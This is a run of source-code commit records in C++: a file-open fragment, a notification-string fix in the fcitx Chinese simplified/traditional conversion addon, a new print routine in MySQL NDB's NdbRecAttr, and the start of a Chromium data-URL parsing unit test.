(m_fd > 0)\n {\n \tm_flags = flags;\n }\n else\n {\n \tsetError(\"open file failed, check whether exist this file path\");\n }\n\n return (m_fd != -1 ? true : false);\n}\n\nvoid File::setError(const GInt8* args, ...)\n{\n System::pformat(m_error, G_ERROR_BUF_SIZE, args);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * SPDX-FileCopyrightText: 2016-2016 CSSlayer <wengxt@gmail.com>\n *\n * SPDX-License-Identifier: LGPL-2.1-or-later\n *\n *\/\n\n#include \"chttrans.h\"\n#include \"config.h\"\n#include <fcitx-config\/iniparser.h>\n#include <fcitx-utils\/i18n.h>\n#include <fcitx-utils\/standardpath.h>\n#include <fcitx-utils\/utf8.h>\n#include <fcitx\/addonfactory.h>\n#include <fcitx\/addonmanager.h>\n#include <fcitx\/inputmethodentry.h>\n#include <fcntl.h>\n#ifdef ENABLE_OPENCC\n#include \"chttrans-opencc.h\"\n#endif\n#include \"chttrans-native.h\"\n#include <fcitx\/inputcontext.h>\n#include <fcitx\/userinterfacemanager.h>\n\nusing namespace fcitx;\n\nstatic ChttransIMType inputMethodType(const InputMethodEntry &entry) {\n if (entry.languageCode() == \"zh_CN\") {\n return ChttransIMType::Simp;\n }\n if (entry.languageCode() == \"zh_HK\" || entry.languageCode() == \"zh_TW\") {\n return ChttransIMType::Trad;\n }\n return ChttransIMType::Other;\n}\n\nChttrans::Chttrans(fcitx::Instance *instance) : instance_(instance) {\n instance_->userInterfaceManager().registerAction(\"chttrans\",\n &toggleAction_);\n reloadConfig();\n#ifdef ENABLE_OPENCC\n backends_.emplace(ChttransEngine::OpenCC,\n std::make_unique<OpenCCBackend>());\n#endif\n backends_.emplace(ChttransEngine::Native,\n std::make_unique<NativeBackend>());\n\n eventHandler_ = instance_->watchEvent(\n EventType::InputContextKeyEvent, EventWatcherPhase::Default,\n [this](Event &event) {\n auto &keyEvent = static_cast<KeyEvent &>(event);\n if (keyEvent.isRelease()) {\n return;\n }\n auto *ic = keyEvent.inputContext();\n auto *engine = instance_->inputMethodEngine(ic);\n const auto *entry = instance_->inputMethodEntry(ic);\n if (!engine || !entry ||\n !toggleAction_.isParent(&ic->statusArea())) {\n return;\n }\n auto type = inputMethodType(*entry);\n if (type == ChttransIMType::Other) {\n return;\n }\n if (keyEvent.key().checkKeyList(config_.hotkey.value())) {\n toggle(ic);\n bool tradEnabled = convertType(ic) == ChttransIMType::Trad;\n if (notifications()) {\n notifications()->call<INotifications::showTip>(\n \"fcitx-chttrans-toggle\",\n _(\"Simplified and Traditional Chinese Translation\"),\n tradEnabled ? \"fcitx-chttrans-active\"\n : \"fcitx-chttrans-inactive\",\n tradEnabled ? _(\"Switch to Simplified Chinese\")\n : _(\"Switch to Traditional Chinese\"),\n tradEnabled ? _(\"Traditional Chinese is enabled.\")\n : _(\"Simplified Chinese is enabled.\"),\n -1);\n }\n keyEvent.filterAndAccept();\n ic->updateUserInterface(UserInterfaceComponent::InputPanel);\n }\n });\n outputFilterConn_ = instance_->connect<Instance::OutputFilter>(\n [this](InputContext *inputContext, Text &text) {\n if (!toggleAction_.isParent(&inputContext->statusArea()) ||\n !needConvert(inputContext)) {\n return;\n }\n auto type = convertType(inputContext);\n auto oldString = text.toString();\n auto oldLength = utf8::lengthValidated(oldString);\n if (oldLength == utf8::INVALID_LENGTH) {\n return;\n }\n auto newString = convert(type, oldString);\n auto newLength = utf8::lengthValidated(newString);\n if (newLength == utf8::INVALID_LENGTH) {\n return;\n }\n Text newText;\n size_t off = 0;\n size_t remainLength = newLength;\n for (size_t i = 0; i < text.size(); i++) {\n auto segmentLength = utf8::length(text.stringAt(i));\n if (remainLength < segmentLength) {\n segmentLength = remainLength;\n }\n remainLength -= segmentLength;\n size_t segmentByteLength = utf8::ncharByteLength(\n newString.begin() + off, segmentLength);\n newText.append(newString.substr(off, segmentByteLength),\n text.formatAt(i));\n off = off + segmentByteLength;\n }\n if (text.cursor() >= 0) {\n auto length = utf8::length(oldString, 0, text.cursor());\n if (length > newLength) {\n length = newLength;\n }\n newText.setCursor(\n utf8::ncharByteLength(newText.toString().begin(), length));\n } else {\n newText.setCursor(text.cursor());\n }\n text = std::move(newText);\n });\n commitFilterConn_ = instance_->connect<Instance::CommitFilter>(\n [this](InputContext *inputContext, std::string &str) {\n if (!toggleAction_.isParent(&inputContext->statusArea()) ||\n !needConvert(inputContext)) {\n return;\n }\n auto type = convertType(inputContext);\n str = convert(type, str);\n });\n}\n\nvoid Chttrans::toggle(InputContext *ic) {\n auto *engine = instance_->inputMethodEngine(ic);\n const auto *entry = instance_->inputMethodEntry(ic);\n if (!engine || !entry || !toggleAction_.isParent(&ic->statusArea())) {\n return;\n }\n auto type = inputMethodType(*entry);\n if (type == ChttransIMType::Other) {\n return;\n }\n if (enabledIM_.count(entry->uniqueName())) {\n enabledIM_.erase(entry->uniqueName());\n } else {\n enabledIM_.insert(entry->uniqueName());\n }\n toggleAction_.update(ic);\n}\n\nvoid Chttrans::reloadConfig() {\n readAsIni(config_, \"conf\/chttrans.conf\");\n populateConfig();\n}\n\nvoid Chttrans::populateConfig() {\n enabledIM_.clear();\n enabledIM_.insert(config_.enabledIM.value().begin(),\n config_.enabledIM.value().end());\n}\n\nvoid Chttrans::save() {\n std::vector<std::string> values_;\n for (const auto &id : enabledIM_) {\n values_.push_back(id);\n }\n config_.enabledIM.setValue(std::move(values_));\n\n safeSaveAsIni(config_, \"conf\/chttrans.conf\");\n}\n\nstd::string Chttrans::convert(ChttransIMType type, const std::string &str) {\n auto iter = backends_.find(config_.engine.value());\n if (iter == backends_.end()) {\n iter = backends_.find(ChttransEngine::Native);\n }\n if (iter == backends_.end() || !iter->second->load()) {\n return str;\n }\n\n if (type == ChttransIMType::Trad) {\n return iter->second->convertSimpToTrad(str);\n }\n return iter->second->convertTradToSimp(str);\n}\n\nbool Chttrans::needConvert(fcitx::InputContext *inputContext) {\n auto *engine = instance_->inputMethodEngine(inputContext);\n const auto *entry = instance_->inputMethodEntry(inputContext);\n if (!engine || !entry) {\n return false;\n }\n auto type = inputMethodType(*entry);\n if (type == ChttransIMType::Other) {\n return false;\n }\n\n return enabledIM_.count(entry->uniqueName());\n}\n\nChttransIMType Chttrans::convertType(fcitx::InputContext *inputContext) {\n auto *engine = instance_->inputMethodEngine(inputContext);\n const auto *entry = instance_->inputMethodEntry(inputContext);\n if (!engine || !entry) {\n return ChttransIMType::Other;\n }\n auto type = inputMethodType(*entry);\n if (type == ChttransIMType::Other) {\n return ChttransIMType::Other;\n }\n\n if (!enabledIM_.count(entry->uniqueName())) {\n return type;\n }\n return type == ChttransIMType::Simp ? ChttransIMType::Trad\n : ChttransIMType::Simp;\n}\n\nclass ChttransModuleFactory : public AddonFactory {\n AddonInstance *create(AddonManager *manager) override {\n return new Chttrans(manager->instance());\n }\n};\n\nFCITX_ADDON_FACTORY(ChttransModuleFactory)\n<commit_msg>Fix wrong string in chttrans notification<commit_after>\/*\n * SPDX-FileCopyrightText: 2016-2016 CSSlayer <wengxt@gmail.com>\n *\n * SPDX-License-Identifier: LGPL-2.1-or-later\n *\n *\/\n\n#include \"chttrans.h\"\n#include \"config.h\"\n#include <fcitx-config\/iniparser.h>\n#include <fcitx-utils\/i18n.h>\n#include <fcitx-utils\/standardpath.h>\n#include <fcitx-utils\/utf8.h>\n#include <fcitx\/addonfactory.h>\n#include <fcitx\/addonmanager.h>\n#include <fcitx\/inputmethodentry.h>\n#include <fcntl.h>\n#ifdef ENABLE_OPENCC\n#include \"chttrans-opencc.h\"\n#endif\n#include \"chttrans-native.h\"\n#include <fcitx\/inputcontext.h>\n#include <fcitx\/userinterfacemanager.h>\n\nusing namespace fcitx;\n\nstatic ChttransIMType inputMethodType(const InputMethodEntry &entry) {\n if (entry.languageCode() == \"zh_CN\") {\n return ChttransIMType::Simp;\n }\n if (entry.languageCode() == \"zh_HK\" || entry.languageCode() == \"zh_TW\") {\n return ChttransIMType::Trad;\n }\n return ChttransIMType::Other;\n}\n\nChttrans::Chttrans(fcitx::Instance *instance) : instance_(instance) {\n instance_->userInterfaceManager().registerAction(\"chttrans\",\n &toggleAction_);\n reloadConfig();\n#ifdef ENABLE_OPENCC\n backends_.emplace(ChttransEngine::OpenCC,\n std::make_unique<OpenCCBackend>());\n#endif\n backends_.emplace(ChttransEngine::Native,\n std::make_unique<NativeBackend>());\n\n eventHandler_ = instance_->watchEvent(\n EventType::InputContextKeyEvent, EventWatcherPhase::Default,\n [this](Event &event) {\n auto &keyEvent = static_cast<KeyEvent &>(event);\n if (keyEvent.isRelease()) {\n return;\n }\n auto *ic = keyEvent.inputContext();\n auto *engine = instance_->inputMethodEngine(ic);\n const auto *entry = instance_->inputMethodEntry(ic);\n if (!engine || !entry ||\n !toggleAction_.isParent(&ic->statusArea())) {\n return;\n }\n auto type = inputMethodType(*entry);\n if (type == ChttransIMType::Other) {\n return;\n }\n if (keyEvent.key().checkKeyList(config_.hotkey.value())) {\n toggle(ic);\n bool tradEnabled = convertType(ic) == ChttransIMType::Trad;\n if (notifications()) {\n notifications()->call<INotifications::showTip>(\n \"fcitx-chttrans-toggle\",\n _(\"Simplified and Traditional Chinese Translation\"),\n tradEnabled ? \"fcitx-chttrans-active\"\n : \"fcitx-chttrans-inactive\",\n tradEnabled ? _(\"Switch to Traditional Chinese\")\n : _(\"Switch to Simplified Chinese\"),\n tradEnabled ? _(\"Traditional Chinese is enabled.\")\n : _(\"Simplified Chinese is enabled.\"),\n -1);\n }\n keyEvent.filterAndAccept();\n ic->updateUserInterface(UserInterfaceComponent::InputPanel);\n }\n });\n outputFilterConn_ = instance_->connect<Instance::OutputFilter>(\n [this](InputContext *inputContext, Text &text) {\n if (!toggleAction_.isParent(&inputContext->statusArea()) ||\n !needConvert(inputContext)) {\n return;\n }\n auto type = convertType(inputContext);\n auto oldString = text.toString();\n auto oldLength = utf8::lengthValidated(oldString);\n if (oldLength == utf8::INVALID_LENGTH) {\n return;\n }\n auto newString = convert(type, oldString);\n auto newLength = utf8::lengthValidated(newString);\n if (newLength == utf8::INVALID_LENGTH) {\n return;\n }\n Text newText;\n size_t off = 0;\n size_t remainLength = newLength;\n for (size_t i = 0; i < text.size(); i++) {\n auto segmentLength = utf8::length(text.stringAt(i));\n if (remainLength < segmentLength) {\n segmentLength = remainLength;\n }\n remainLength -= segmentLength;\n size_t segmentByteLength = utf8::ncharByteLength(\n newString.begin() + off, segmentLength);\n newText.append(newString.substr(off, segmentByteLength),\n text.formatAt(i));\n off = off + segmentByteLength;\n }\n if (text.cursor() >= 0) {\n auto length = utf8::length(oldString, 0, text.cursor());\n if (length > newLength) {\n length = newLength;\n }\n newText.setCursor(\n utf8::ncharByteLength(newText.toString().begin(), length));\n } else {\n newText.setCursor(text.cursor());\n }\n text = std::move(newText);\n });\n commitFilterConn_ = instance_->connect<Instance::CommitFilter>(\n [this](InputContext *inputContext, std::string &str) {\n if (!toggleAction_.isParent(&inputContext->statusArea()) ||\n !needConvert(inputContext)) {\n return;\n }\n auto type = convertType(inputContext);\n str = convert(type, str);\n });\n}\n\nvoid Chttrans::toggle(InputContext *ic) {\n auto *engine = instance_->inputMethodEngine(ic);\n const auto *entry = instance_->inputMethodEntry(ic);\n if (!engine || !entry || !toggleAction_.isParent(&ic->statusArea())) {\n return;\n }\n auto type = inputMethodType(*entry);\n if (type == ChttransIMType::Other) {\n return;\n }\n if (enabledIM_.count(entry->uniqueName())) {\n enabledIM_.erase(entry->uniqueName());\n } else {\n enabledIM_.insert(entry->uniqueName());\n }\n toggleAction_.update(ic);\n}\n\nvoid Chttrans::reloadConfig() {\n readAsIni(config_, \"conf\/chttrans.conf\");\n populateConfig();\n}\n\nvoid Chttrans::populateConfig() {\n enabledIM_.clear();\n enabledIM_.insert(config_.enabledIM.value().begin(),\n config_.enabledIM.value().end());\n}\n\nvoid Chttrans::save() {\n std::vector<std::string> values_;\n for (const auto &id : enabledIM_) {\n values_.push_back(id);\n }\n config_.enabledIM.setValue(std::move(values_));\n\n safeSaveAsIni(config_, \"conf\/chttrans.conf\");\n}\n\nstd::string Chttrans::convert(ChttransIMType type, const std::string &str) {\n auto iter = backends_.find(config_.engine.value());\n if (iter == backends_.end()) {\n iter = backends_.find(ChttransEngine::Native);\n }\n if (iter == backends_.end() || !iter->second->load()) {\n return str;\n }\n\n if (type == ChttransIMType::Trad) {\n return iter->second->convertSimpToTrad(str);\n }\n return iter->second->convertTradToSimp(str);\n}\n\nbool Chttrans::needConvert(fcitx::InputContext *inputContext) {\n auto *engine = instance_->inputMethodEngine(inputContext);\n const auto *entry = instance_->inputMethodEntry(inputContext);\n if (!engine || !entry) {\n return false;\n }\n auto type = inputMethodType(*entry);\n if (type == ChttransIMType::Other) {\n return false;\n }\n\n return enabledIM_.count(entry->uniqueName());\n}\n\nChttransIMType Chttrans::convertType(fcitx::InputContext *inputContext) {\n auto *engine = instance_->inputMethodEngine(inputContext);\n const auto *entry = instance_->inputMethodEntry(inputContext);\n if (!engine || !entry) {\n return ChttransIMType::Other;\n }\n auto type = inputMethodType(*entry);\n if (type == ChttransIMType::Other) {\n return ChttransIMType::Other;\n }\n\n if (!enabledIM_.count(entry->uniqueName())) {\n return type;\n }\n return type == ChttransIMType::Simp ? ChttransIMType::Trad\n : ChttransIMType::Simp;\n}\n\nclass ChttransModuleFactory : public AddonFactory {\n AddonInstance *create(AddonManager *manager) override {\n return new Chttrans(manager->instance());\n }\n};\n\nFCITX_ADDON_FACTORY(ChttransModuleFactory)\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright (C) 2003 MySQL AB\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA *\/\n\n\n\/************************************************************************************************\nName: NdbRecAttr.C\nInclude:\nLink:\nAuthor: UABRONM Mikael Ronstrm UAB\/B\/SD \nDate: 971206\nVersion: 0.1\nDescription: Interface between TIS and NDB\nDocumentation:\nAdjust: 971206 UABRONM First version\n************************************************************************************************\/\n#include <ndb_global.h>\n#include <NdbOut.hpp>\n#include <NdbRecAttr.hpp>\n#include <NdbBlob.hpp>\n#include \"NdbDictionaryImpl.hpp\"\n#include <NdbTCP.h>\n\nNdbRecAttr::NdbRecAttr()\n{\n init();\n}\n\nNdbRecAttr::~NdbRecAttr()\n{\n release();\n}\n\nint\nNdbRecAttr::setup(const class NdbDictionary::Column* col, char* aValue)\n{\n return setup(&(col->m_impl), aValue);\n}\nint\nNdbRecAttr::setup(const NdbColumnImpl* anAttrInfo, char* aValue)\n{\n Uint32 tAttrSize = anAttrInfo->m_attrSize;\n Uint32 tArraySize = anAttrInfo->m_arraySize;\n Uint32 tAttrByteSize = tAttrSize * tArraySize;\n \n m_column = anAttrInfo;\n\n theAttrId = anAttrInfo->m_attrId;\n theAttrSize = tAttrSize;\n theArraySize = tArraySize;\n theValue = aValue;\n theNULLind = 0;\n m_nullable = anAttrInfo->m_nullable;\n\n \/\/ check alignment to signal data\n \/\/ a future version could check alignment per data type as well\n \n if (aValue != NULL && (UintPtr(aValue)&3) == 0 && (tAttrByteSize&3) == 0) {\n theStorageX = NULL;\n theRef = aValue;\n return 0;\n }\n if (tAttrByteSize <= 32) {\n theStorageX = NULL;\n theStorage[0] = 0;\n theStorage[1] = 0;\n theStorage[2] = 0;\n theStorage[3] = 0;\n theRef = theStorage;\n return 0;\n }\n Uint32 tSize = (tAttrByteSize + 7) >> 3;\n Uint64* tRef = new Uint64[tSize];\n if (tRef != NULL) {\n for (Uint32 i = 0; i < tSize; i++) {\n tRef[i] = 0;\n }\n theStorageX = tRef;\n theRef = tRef;\n return 0;\n }\n return -1;\n}\n\nvoid\nNdbRecAttr::copyout()\n{\n char* tRef = (char*)theRef;\n char* tValue = theValue;\n if (tRef != tValue && tRef != NULL && tValue != NULL) {\n Uint32 n = theAttrSize * theArraySize;\n while (n-- > 0) {\n *tValue++ = *tRef++;\n }\n }\n}\n\nNdbRecAttr *\nNdbRecAttr::clone() const {\n NdbRecAttr * ret = new NdbRecAttr();\n\n ret->theAttrId = theAttrId;\n ret->theNULLind = theNULLind;\n ret->theAttrSize = theAttrSize;\n ret->theArraySize = theArraySize;\n ret->m_column = m_column;\n \n Uint32 n = theAttrSize * theArraySize; \n if(n <= 32){\n ret->theRef = (char*)&ret->theStorage[0];\n ret->theStorageX = 0;\n ret->theValue = 0;\n } else {\n ret->theStorageX = new Uint64[((n + 7) >> 3)];\n ret->theRef = (char*)ret->theStorageX; \n ret->theValue = 0;\n }\n memcpy(ret->theRef, theRef, n);\n return ret;\n}\n\nbool\nNdbRecAttr::receive_data(const Uint32 * data, Uint32 sz){\n const Uint32 n = (theAttrSize * theArraySize + 3) >> 2; \n if(n == sz){\n theNULLind = 0;\n if(!copyoutRequired())\n memcpy(theRef, data, 4 * sz);\n else\n memcpy(theValue, data, theAttrSize * theArraySize);\n return true;\n } else if(sz == 0){\n setNULL();\n return true;\n }\n return false;\n}\n\nNdbOut& operator<<(NdbOut& out, const NdbRecAttr &r)\n{\n if (r.isNULL())\n {\n out << \"[NULL]\";\n return out;\n }\n\n if (r.arraySize() > 1)\n out << \"[\";\n\n for (Uint32 j = 0; j < r.arraySize(); j++) \n {\n if (j > 0)\n out << \" \";\n\n switch(r.getType())\n {\n case NdbDictionary::Column::Bigunsigned:\n\tout << r.u_64_value();\n\tbreak;\n case NdbDictionary::Column::Bit:\n\tout << hex << \"H'\" << r.u_32_value() << dec;\n\tbreak;\n case NdbDictionary::Column::Unsigned:\n\tout << r.u_32_value();\n\tbreak;\n case NdbDictionary::Column::Smallunsigned:\n\tout << r.u_short_value();\n\tbreak;\n case NdbDictionary::Column::Tinyunsigned:\n\tout << (unsigned) r.u_char_value();\n\tbreak;\n case NdbDictionary::Column::Bigint:\n\tout << r.int64_value();\n\tbreak;\n case NdbDictionary::Column::Int:\n\tout << r.int32_value();\n\tbreak;\n case NdbDictionary::Column::Smallint:\n\tout << r.short_value();\n\tbreak;\n case NdbDictionary::Column::Tinyint:\n\tout << (int) r.char_value();\n\tbreak;\n case NdbDictionary::Column::Char:\n\tout.print(\"%.*s\", r.arraySize(), r.aRef());\n\tj = r.arraySize();\n\tbreak;\n case NdbDictionary::Column::Varchar:\n\t{\n\t short len = ntohs(r.u_short_value());\n\t out.print(\"%.*s\", len, r.aRef()+2);\n\t}\n\tj = r.arraySize();\n break;\n case NdbDictionary::Column::Float:\n\tout << r.float_value();\n\tbreak;\n case NdbDictionary::Column::Double:\n\tout << r.double_value();\n\tbreak;\n case NdbDictionary::Column::Blob:\n {\n const NdbBlob::Head* h = (const NdbBlob::Head*)r.aRef();\n out << h->length << \":\";\n const unsigned char* p = (const unsigned char*)(h + 1);\n unsigned n = r.arraySize() - sizeof(*h);\n for (unsigned k = 0; k < n && k < h->length; k++)\n out.print(\"%02X\", (int)p[k]);\n j = r.arraySize();\n }\n break;\n case NdbDictionary::Column::Text:\n {\n const NdbBlob::Head* h = (const NdbBlob::Head*)r.aRef();\n out << h->length << \":\";\n const unsigned char* p = (const unsigned char*)(h + 1);\n unsigned n = r.arraySize() - sizeof(*h);\n for (unsigned k = 0; k < n && k < h->length; k++)\n out.print(\"%c\", (int)p[k]);\n j = r.arraySize();\n }\n break;\n default: \/* no print functions for the rest, just print type *\/\n\tout << (int) r.getType();\n\tj = r.arraySize();\n\tif (j > 1)\n\t out << \" \" << j << \" times\";\n\tbreak;\n }\n }\n\n if (r.arraySize() > 1)\n {\n out << \"]\";\n }\n\n return out;\n}\n<commit_msg>improved print routine for NdbRecAttr<commit_after>\/* Copyright (C) 2003 MySQL AB\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA *\/\n\n\n#include <ndb_global.h>\n#include <NdbOut.hpp>\n#include <NdbRecAttr.hpp>\n#include <NdbBlob.hpp>\n#include \"NdbDictionaryImpl.hpp\"\n#include <NdbTCP.h>\n\nNdbRecAttr::NdbRecAttr()\n{\n init();\n}\n\nNdbRecAttr::~NdbRecAttr()\n{\n release();\n}\n\nint\nNdbRecAttr::setup(const class NdbDictionary::Column* col, char* aValue)\n{\n return setup(&(col->m_impl), aValue);\n}\nint\nNdbRecAttr::setup(const NdbColumnImpl* anAttrInfo, char* aValue)\n{\n Uint32 tAttrSize = anAttrInfo->m_attrSize;\n Uint32 tArraySize = anAttrInfo->m_arraySize;\n Uint32 tAttrByteSize = tAttrSize * tArraySize;\n \n m_column = anAttrInfo;\n\n theAttrId = anAttrInfo->m_attrId;\n theAttrSize = tAttrSize;\n theArraySize = tArraySize;\n theValue = aValue;\n theNULLind = 0;\n m_nullable = anAttrInfo->m_nullable;\n\n \/\/ check alignment to signal data\n \/\/ a future version could check alignment per data type as well\n \n if (aValue != NULL && (UintPtr(aValue)&3) == 0 && (tAttrByteSize&3) == 0) {\n theStorageX = NULL;\n theRef = aValue;\n return 0;\n }\n if (tAttrByteSize <= 32) {\n theStorageX = NULL;\n theStorage[0] = 0;\n theStorage[1] = 0;\n theStorage[2] = 0;\n theStorage[3] = 0;\n theRef = theStorage;\n return 0;\n }\n Uint32 tSize = (tAttrByteSize + 7) >> 3;\n Uint64* tRef = new Uint64[tSize];\n if (tRef != NULL) {\n for (Uint32 i = 0; i < tSize; i++) {\n tRef[i] = 0;\n }\n theStorageX = tRef;\n theRef = tRef;\n return 0;\n }\n return -1;\n}\n\nvoid\nNdbRecAttr::copyout()\n{\n char* tRef = (char*)theRef;\n char* tValue = theValue;\n if (tRef != tValue && tRef != NULL && tValue != NULL) {\n Uint32 n = theAttrSize * theArraySize;\n while (n-- > 0) {\n *tValue++ = *tRef++;\n }\n }\n}\n\nNdbRecAttr *\nNdbRecAttr::clone() const {\n NdbRecAttr * ret = new NdbRecAttr();\n\n ret->theAttrId = theAttrId;\n ret->theNULLind = theNULLind;\n ret->theAttrSize = theAttrSize;\n ret->theArraySize = theArraySize;\n ret->m_column = m_column;\n \n Uint32 n = theAttrSize * theArraySize; \n if(n <= 32){\n ret->theRef = (char*)&ret->theStorage[0];\n ret->theStorageX = 0;\n ret->theValue = 0;\n } else {\n ret->theStorageX = new Uint64[((n + 7) >> 3)];\n ret->theRef = (char*)ret->theStorageX; \n ret->theValue = 0;\n }\n memcpy(ret->theRef, theRef, n);\n return ret;\n}\n\nbool\nNdbRecAttr::receive_data(const Uint32 * data, Uint32 sz){\n const Uint32 n = (theAttrSize * theArraySize + 3) >> 2; \n if(n == sz){\n theNULLind = 0;\n if(!copyoutRequired())\n memcpy(theRef, data, 4 * sz);\n else\n memcpy(theValue, data, theAttrSize * theArraySize);\n return true;\n } else if(sz == 0){\n setNULL();\n return true;\n }\n return false;\n}\n\nstatic void\nndbrecattr_print_string(NdbOut& out, const char *type,\n\t\t\tconst char *ref, unsigned sz)\n{\n int i;\n \/\/ trailing zeroes are not printed\n for (i=sz-1; i >= 0; i--)\n if (ref[i] == 0) sz--;\n else break;\n if (sz == 0) return; \/\/ empty\n\n char *str= (char*)malloc(sz+1);\n memcpy(str, ref, sz);\n str[sz]= 0; \/\/ null terminate\n int len= strlen(str);\n int printable= 1;\n for (i=0; i < len; i++)\n {\n if (str[i] < 32) {\n printable= 0;\n break;\n }\n }\n if (printable)\n out.print(\"%.*s\", len, str);\n else\n {\n for (i=0; i < len; i++)\n out.print(\"%02X\", (int)str[i]);\n }\n\n free(str);\n if (len != (int)sz)\n {\n out.print(\"[\");\n for (i= len+1; ref[i] != 0; i++)\n out.print(\"%u]\",len-i);\n assert(sz > i);\n ndbrecattr_print_string(out,type,ref+i,sz-i);\n }\n}\n\nNdbOut& operator<<(NdbOut& out, const NdbRecAttr &r)\n{\n if (r.isNULL())\n {\n out << \"[NULL]\";\n return out;\n }\n\n if (r.arraySize() > 1)\n out << \"[\";\n\n for (Uint32 j = 0; j < r.arraySize(); j++) \n {\n if (j > 0)\n out << \" \";\n\n switch(r.getType())\n {\n case NdbDictionary::Column::Bigunsigned:\n\tout << r.u_64_value();\n\tbreak;\n case NdbDictionary::Column::Bit:\n\tout << hex << \"H'\" << r.u_32_value() << dec;\n\tbreak;\n case NdbDictionary::Column::Unsigned:\n\tout << r.u_32_value();\n\tbreak;\n case NdbDictionary::Column::Smallunsigned:\n\tout << r.u_short_value();\n\tbreak;\n case NdbDictionary::Column::Tinyunsigned:\n\tout << (unsigned) r.u_char_value();\n\tbreak;\n case NdbDictionary::Column::Bigint:\n\tout << r.int64_value();\n\tbreak;\n case NdbDictionary::Column::Int:\n\tout << r.int32_value();\n\tbreak;\n case NdbDictionary::Column::Smallint:\n\tout << r.short_value();\n\tbreak;\n case NdbDictionary::Column::Tinyint:\n\tout << (int) r.char_value();\n\tbreak;\n case NdbDictionary::Column::Binary:\n\tndbrecattr_print_string(out,\"Binary\",r.aRef(),r.arraySize());\n\tj = r.arraySize();\n\tbreak;\n case NdbDictionary::Column::Char:\n\tndbrecattr_print_string(out,\"Char\",r.aRef(),r.arraySize());\n\tj = r.arraySize();\n\tbreak;\n case NdbDictionary::Column::Varchar:\n\tndbrecattr_print_string(out,\"Varchar\", r.aRef()+ 2,\n\t\t\t\tntohs(r.u_short_value()));\n\tj = r.arraySize();\n\tbreak;\n case NdbDictionary::Column::Float:\n\tout << r.float_value();\n\tbreak;\n case NdbDictionary::Column::Double:\n\tout << r.double_value();\n\tbreak;\n case NdbDictionary::Column::Blob:\n {\n const NdbBlob::Head* h = (const NdbBlob::Head*)r.aRef();\n out << h->length << \":\";\n const unsigned char* p = (const unsigned char*)(h + 1);\n unsigned n = r.arraySize() - sizeof(*h);\n for (unsigned k = 0; k < n && k < h->length; k++)\n out.print(\"%02X\", (int)p[k]);\n j = r.arraySize();\n }\n break;\n case NdbDictionary::Column::Text:\n {\n const NdbBlob::Head* h = (const NdbBlob::Head*)r.aRef();\n out << h->length << \":\";\n const unsigned char* p = (const unsigned char*)(h + 1);\n unsigned n = r.arraySize() - sizeof(*h);\n for (unsigned k = 0; k < n && k < h->length; k++)\n out.print(\"%c\", (int)p[k]);\n j = r.arraySize();\n }\n break;\n default: \/* no print functions for the rest, just print type *\/\n\tout << (int) r.getType();\n\tj = r.arraySize();\n\tif (j > 1)\n\t out << \" \" << j << \" times\";\n\tbreak;\n }\n }\n\n if (r.arraySize() > 1)\n {\n out << \"]\";\n }\n\n return out;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/basictypes.h\"\n#include \"googleurl\/src\/gurl.h\"\n#include \"net\/base\/data_url.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nnamespace {\n\n struct ParseTestData {\n const char* url;\n bool is_valid;\n const char* mime_type;\n const char* charset;\n const char* data;\n };\n\nclass DataURLTest : public testing::Test {\n};\n\n}\n\nTEST(DataURLTest, Parse) {\n const ParseTestData tests[] = {\n { \"data:\",\n false,\n \"\",\n \"\",\n \"\" },\n\n { \"data:,\",\n true,\n \"text\/plain\",\n \"US-ASCII\",\n \"\" },\n\n { \"data:;base64,\",\n true,\n \"text\/plain\",\n \"US-ASCII\",\n \"\" },\n\n { \"data:;charset=,test\",\n true,\n \"text\/plain\",\n \"US-ASCII\",\n \"test\" },\n\n { \"data:TeXt\/HtMl,<b>x<\/b>\",\n true,\n \"text\/html\",\n \"US-ASCII\",\n \"<b>x<\/b>\" },\n\n { \"data:,foo\",\n true,\n \"text\/plain\",\n \"US-ASCII\",\n \"foo\" },\n\n { \"data:;base64,aGVsbG8gd29ybGQ=\",\n true,\n \"text\/plain\",\n \"US-ASCII\",\n \"hello world\" },\n\n { \"data:foo\/bar;baz=1;charset=kk,boo\",\n true,\n \"foo\/bar\",\n \"kk\",\n \"boo\" },\n\n { \"data:text\/html,%3Chtml%3E%3Cbody%3E%3Cb%3Ehello%20world\"\n \"%3C%2Fb%3E%3C%2Fbody%3E%3C%2Fhtml%3E\",\n true,\n \"text\/html\",\n \"US-ASCII\",\n \"<html><body><b>hello world<\/b><\/body><\/html>\" },\n\n { \"data:text\/html,<html><body><b>hello world<\/b><\/body><\/html>\",\n true,\n \"text\/html\",\n \"US-ASCII\",\n \"<html><body><b>hello world<\/b><\/body><\/html>\" },\n\n \/\/ the comma cannot be url-escaped!\n { \"data:%2Cblah\",\n false,\n \"\",\n \"\",\n \"\" },\n\n \/\/ invalid base64 content\n { \"data:;base64,aGVs_-_-\",\n false,\n \"\",\n \"\",\n \"\" },\n\n \/\/ Spaces should be removed from non-text data URLs (we already tested\n \/\/ spaces above).\n { \"data:image\/fractal,a b c d e f g\",\n true,\n \"image\/fractal\",\n \"US-ASCII\",\n \"abcdefg\" },\n\n \/\/ Spaces should also be removed from anything base-64 encoded\n { \"data:;base64,aGVs bG8gd2 9ybGQ=\",\n true,\n \"text\/plain\",\n \"US-ASCII\",\n \"hello world\" },\n\n \/\/ Other 